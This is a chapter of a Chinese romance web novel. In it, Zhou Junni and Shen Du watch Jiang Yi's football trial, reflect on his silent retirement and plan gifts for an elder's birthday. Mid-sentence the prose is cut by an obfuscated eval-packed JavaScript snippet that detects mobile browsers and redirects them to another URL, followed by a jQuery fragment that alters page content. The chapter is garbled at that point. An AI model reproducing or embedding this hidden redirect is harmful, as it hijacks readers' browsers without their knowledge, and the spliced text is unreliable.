18.礼物

作品:《月照孤舟

    下午的行程还是从两点半开始,出发新学校的各种安排和早上一样。


    没机会穿花衬衫,沈度干脆就没拿,换了件白色长袖。


    “你不热吗?”周君霓带沈度去找座位的时候问。


    他打量了下周君霓身上的防晒衣外套,反问:“你不热吗?”


    周君霓捏着自己的袖子,“材质不一样。”


    “不都是长袖。”沈度说。


    不一样不一样,江逸给的肯定不一样。


    “你坐这吧,有什么事发信息给我。”周君霓没理沈度的话,自顾自说了就要走,被他拉住。


    “这里没人看得见我吗?”沈度问。


    “不特意找的话,看不见。”


    下午来的这个学校,操场稍微宽广了些,周君霓给沈度找的位置完全是角落中的角落。


    “那你怎么不坐这?这里又不晒。”


    “因为我们不能同时出现。”周君霓说。


    “为什么不能?在学校里谁会拍我。”沈度又别开视线酝酿情绪,再开口的时候已经满眼委屈,“而且......我在这里就算有事也没人能看见吧。”


    “好好好,别说了,别咒自己了,在这出不了事。”


    周君霓想想易棠的事就后怕,抬手制止他,又坐下。


    这里摆的几张椅子都有些褪色,上面还有不知道是什么的顽固污渍,沈度看周君霓居然能直接无视,一时间感觉自己站着不对坐下也不对。


    坐下吧,他是真没办法接受,太不干净了,他光是想想都感觉身上有蚂蚁在爬。


    站着吧,就太不懂事,周君霓都留下来了,他还不好好珍惜这个机会。


    怎么办。


    沈度的纠结,周君霓习以为常,拉开江逸给她的包,拿了纸巾和水,沾湿后擦了一遍她身边的椅子,又用干纸巾擦掉水渍。


    “坐吧,王子,我们看他们踢球就行了。”


    “哦......”


    沈度不自在地咳了声,默默坐下。


    他们这里确实是在角落,又被各种各样的棚子遮住,江逸在草地上完全看不见他们。


    只是他在导演周围没发现周君霓的身影,就知道她被沈度拖住了。


    江逸觉得有个沈度这样的对手,挺有意思的。


    江逸对沈度的了解只有网络上片面的三言两语,沈度的具体情况他不太清楚。


    但就目前接触的来说,他猜测沈度是被家里宠坏的贵公子,什么事都不需要自己操心自己去做,想得到的东西也都会被捧着送到他面前,心气自然就傲了些。


    随之而来的,还会有不成熟的心智,以及用钱摆平一切的态度。


    周君霓是不会喜欢沈度这种的,至少周君霓小时候就一直不喜欢这样作派的人。


    钱是一回事,心意是另一回事,有些事能用钱解决,有些事却是要身体力行的。况且周君霓也不缺钱。


    所以有个沈度当对比,周君霓也许会更清楚地看见自己。


    不过沈度就没这个觉悟了。


    虽然不完全算是家里宠着长大的,但他确实有着江逸猜想的心态,这也是为什么周君霓会打趣叫他王子。


    此刻的王子,正在打哈欠。


    周君霓问:“你没午睡吗?”


    “是他们太无聊了。”王子说,“没有竞技比赛的感觉。”


    周君霓说:“所以江逸才要办这个海选,不是所有人都跟我们一样,可以摸到顶层教育资源的。”


    沈度不接话了。


    他发觉自己现在和周君霓聊天,三句里面至少会出现一次江逸,可是江逸才出现七天而已。


    就算他们从小认识,中间断掉的十几年,难道没有让他们陌生哪怕一点吗?


    “你们这几年有联系吗?”沈度问。他想知道。


    “没有,我们什么联系方式都没有,微信还是开拍前加的。”


    周君霓的回答在沈度意料之中,如果他们有联系,这么些年里会见面的,他也会知道的。


    可沈度也害怕听到这个答案,他们之间太亲密了,如此密不可分,甚至横跨十二年的光阴都没有在他们的心里留下一点隔阂。


    沈度还是不死心,又问:“所以我们前几年去西班牙看球赛,只是因为我想去吗?”


    前几年,西班牙,球赛,周君霓有些忘了,无论是比赛结果还是参赛队伍,但她隐约记得,当时好像没有江逸。


    “是,如果不是你提出来,我可能到现在都还没去过西班牙。”


    那场比赛已经是三年以前的事,是周君霓读研的第二年,沈度拍戏的时候突发奇想,问她和黎佩莹想不想去西班牙看球赛。


    周君霓不爱看足球,她也就不会去研究什么规则,自然是看不懂,她只知道该怎么运球传球,进球的时候要欢呼,仅此而已。


    是当时临近毕业,学习压力有点大,周君霓想着出去放松一下也好,这就跟着去了。


    不过周君霓忘了,沈度还记得。


    当时是两个顶级俱乐部之间的比赛,可谓是万众瞩目。


    周君霓不关注,所以不知道首发名单里有江逸,只是他最后没上场,是他的队友费洛蒙替他上的。


    这次突发缺席之后就传出了江逸要退役的消息。


    俱乐部官方和他个人都没说明原因,球迷接受媒体采访的时候纷纷表示惋惜,也尊重他的选择,虽然遗憾,但感谢他这些年带来的精彩表现。


    替补上场的费洛蒙就此崭露头角,和队友配合夺得了比赛的胜利。


    在飞快的更新换代之下,再出现有关江逸的消息,就都是在探讨他的黯然退场,和费洛蒙的新星升起。


    舞台便是如此,有人登台,有人谢幕。


    只不过沈度当时不知道周君霓和江逸认识,他也不是冲着江逸去看的比赛,他就没跟周君霓还有黎佩莹提起那个本该出场的球员。


    “江逸有跟你说过他为什么退役吗?”沈度问。


    “没有。”周君霓缓缓摇头,“我也没问。”


    “你不好奇吗?”


    “如果他想让人知道原因,退役当时就会公开的。”


    “你怕会让他想起往事,伤害到他。”


    沈度说话的时候,视线一直不离周君霓,只是周君霓始终盯着球场露出的一角草坪看,没注意。


    周君霓长呼一口气,回答说:“我是尊重个人隐私。被各种狗仔黑子追着扒的时候,你不生气吗?虽然他们找不出你的什么信息,但你也会觉得被冒犯了吧。”


    沈度转念一想,周君霓说的也在理,更别提他还听过谁谁家里被人潜进去了,谁谁又收到了恶意信件快递之类的事情。


    沈度不再纠结于此,周君霓的思绪却被他这个问题带了进去。


    尊重个人隐私这句话不假,可真的只有这一个原因吗?周君霓在心里问自己。


    难道不是因为看出了,或者说直觉感到江逸受过伤,又恰好知道,竞技体育的运动员悄无声息退役大多都是因为伤痛难忍吗。


    沈度说错了吗?没有。她确实害怕伤害到江逸。


    尽管她说什么江逸都没和她生过气,她也知道什么该说,什么不该问。


    可是,退役,久经赛场的老将也许会当作是退休,江逸当时却还没到23岁,正是黄金年龄,又处于巅峰时期。


    如果不是非退不可,他会做出这个选择吗?


    周君霓直觉江逸自己也无法接受以此作为足球生涯的结局收场,所以沉寂了三年才重新出现在大众面前。


    那这三年他是怎么熬过来的呢。


    这三年,正是她为了毕业,为了熟悉公司事务忙得分不开身,有些心力交瘁的三年。


    也就是说,在她深感不易的三年里,江逸也不知道在哪里捂着伤口难过不甘。


    周君霓惊觉自己不敢再往下想。


    -


    黎佩莹的飞机三点半落地浦东机场,家里派了人来接她。


    坐上回家的车之后,她拨通周君霓的视频通话。


    “Hey,看我到哪了。”黎佩莹把摄像头对准窗外的高速公路。


    “这么快就到啦,累不累?”周君霓看见她的笑脸,心情跟着明媚不少。


    黎佩莹注意到旁边一闪而过的沈度,倒是没直接回答周君霓的问题,只是对着手机喊:“沈度怎么也在啊?”


    “怎么,我休息两天,不可以吗?”沈度回应说。


    “你给我爷爷买生日礼物没?”


    “买了。”


    “那我的呢?!”


    “你生日?”


    “你管我生不生日,你不买不准进我家大门。”


    听着两人呛嘴,周君霓也不用黎佩莹回答她累不累了,答案很明显。


    周君霓失笑:“你们俩一定要为了小时候那两本故事书吵到现在吗?”


    “都怪沈度!谁让他闲着没事把我新买的童话故事藏起来?他藏一下就算了,后面他出国上学,居然还带着一起走!然后他还要跟我说那两本书就在我房间,让我自己找找。我能不生气吗!”


    不管是第几次听到这个故事,周君霓都会忍不住笑。


    谁能想到以前天天冷着张脸一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245376|138178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    句话不说的沈度会做这种事?


    听见有口哨声响,周君霓又抬头看草坪,却还是看不见江逸的身影。


    说起来,抢书这种事,她好像也干过,她抢的还就是江逸的。


    因为江逸的书干净,又新,上面还有工整的笔记。


    那难怪,她跟沈度也会是朋友......


    “我不管,沈度,要是你买的礼物我不满意,你也不准进我家门。”黎佩莹说完,又换了副表情,“嘿嘿,小周周,你什么时候来上海啊?”


    周君霓被她突如其来的称呼整害羞了,抬手捂着脸,“怎么叫这么肉麻。”


    “怎么了嘛,沈度羡慕都还来不及呢,对吧沈度?说话。”


    沈度莫名其妙又被点名,只好应付着嗯了声。


    “我们俩明天下午飞,七点左右能到。”怕他俩又开始争,周君霓赶紧补了一句。


    黎佩莹说:“好!那我去接你。对了,你要不要住我家?我隔壁房间就没人住。”


    周君霓说:“算了,你家里长辈都在呢,我去太打扰了,我订了有酒店。”


    “我的订了吗?”沈度问。


    “你家不是在上海吗?”周君霓反问。


    “你不是有家吗你住酒店?”黎佩莹同时也说。


    沈度被噎得说不出话了。


    他发誓,他此刻开始真的不会再插嘴。


    当然,聊着天的姐妹俩也没打算再带他一起。


    黎佩莹甚至想把沈度赶走。


    他坐在这,她怎么问周君霓有关江逸的事?


    虽然他们俩是爱互呛,但真要她当面捅沈度两刀,她这么善良温柔的人也做不到啊。


    黎佩莹只好忍着,告诉自己明天见面之后就能聊了,再坚持一会!


    周君霓担心黎佩莹坐了这么久飞机,在车上又一直这样看着手机会很难受,再聊了几句就打算挂断视频。


    “好了,你先回家好好休息一会,我们明天见。”


    “好吧,拜拜~”


    收起晒得发烫的手机,周君霓这才看沈度:“你买的什么贺礼?”


    “一幅水墨画真迹。”


    “哦,那就好,我拍了个花瓶。”


    黎家家底雄厚,但也低调。黎佩莹的祖辈都是苦过来的,苦怕了,节俭了一辈子,九五寿礼还是长孙黎明熹坚持要办才同意办的。


    所以周君霓拿不准送礼的度,怕送贵重了惹得老爷子心疼,又怕送轻了礼不配位。


    知道沈度准备的和她是同一类型的礼物,她这才放心了点。


    “送什么都一样,看的是态度,不是物质价值。”沈度说。


    “我还是重视一点吧,你们两家长辈互相认识,我就只是恬恬的朋友。”


    三个年轻人的关系是好,但周君霓懂基本的礼貌,也知道她们家里的差距。


    如果不是黎佩莹,她可能还要再努力个几年十年,才够得到被黎明熹邀请参加宴会的门槛,更别说这种独一次的寿宴。


    周家在燕南市是有点地位,这全都仰仗于她奶奶她爷爷的经商育子之道。


    他们敢拼,一点一滴筑起了周氏集团;他们会教,安排清楚了三个儿子从商从政的方向。


    可要和黎佩莹,或者是沈度家里比,周家还是差了一截。


    只是周家手上有个传媒公司,旗下艺人曝光率高,带着他们家也被大众熟知。


    也正是因为这样,当初知道沈度要签约周氏传媒出道,她爸还真的同意签约,且没做任何背景调查的时候,周君霓吓得差点就杀回国篡位了。


    还好沈家没有因为这件事为难她爸或者她家里人,沈度的加入也拉着周氏传媒往前走了一大步,周君霓这才能安心留在南加州读研。


    只是......


    如果她爸爸当初想要去调查,真的能查出什么东西来吗?


    周君霓觉得不一定。


    这么几年,“手眼通天”的媒体和粉丝都没扒出什么有效信息,只是凭借沈度的姓氏和没有人敢欺压针对他这两点,猜测他和沈家有点联系。


    要不是和他走得近成为了朋友,周君霓也不会知道,原来沈度的沈,真是沈家的沈。


    周君霓又想起上学的时候,很多同学都说沈度是私生子,所以才会被丢到国外保护得这么严实,因为拿不出手。


    对此,沈度没辩解过,周君霓也没问过。


    且不说这是他人隐私,就算沈度真是所谓私生子,那也不是他可以决定可以选择的。


    作为朋友,她要是去问的话,那可能真要撕开沈度本就脆弱的内心了。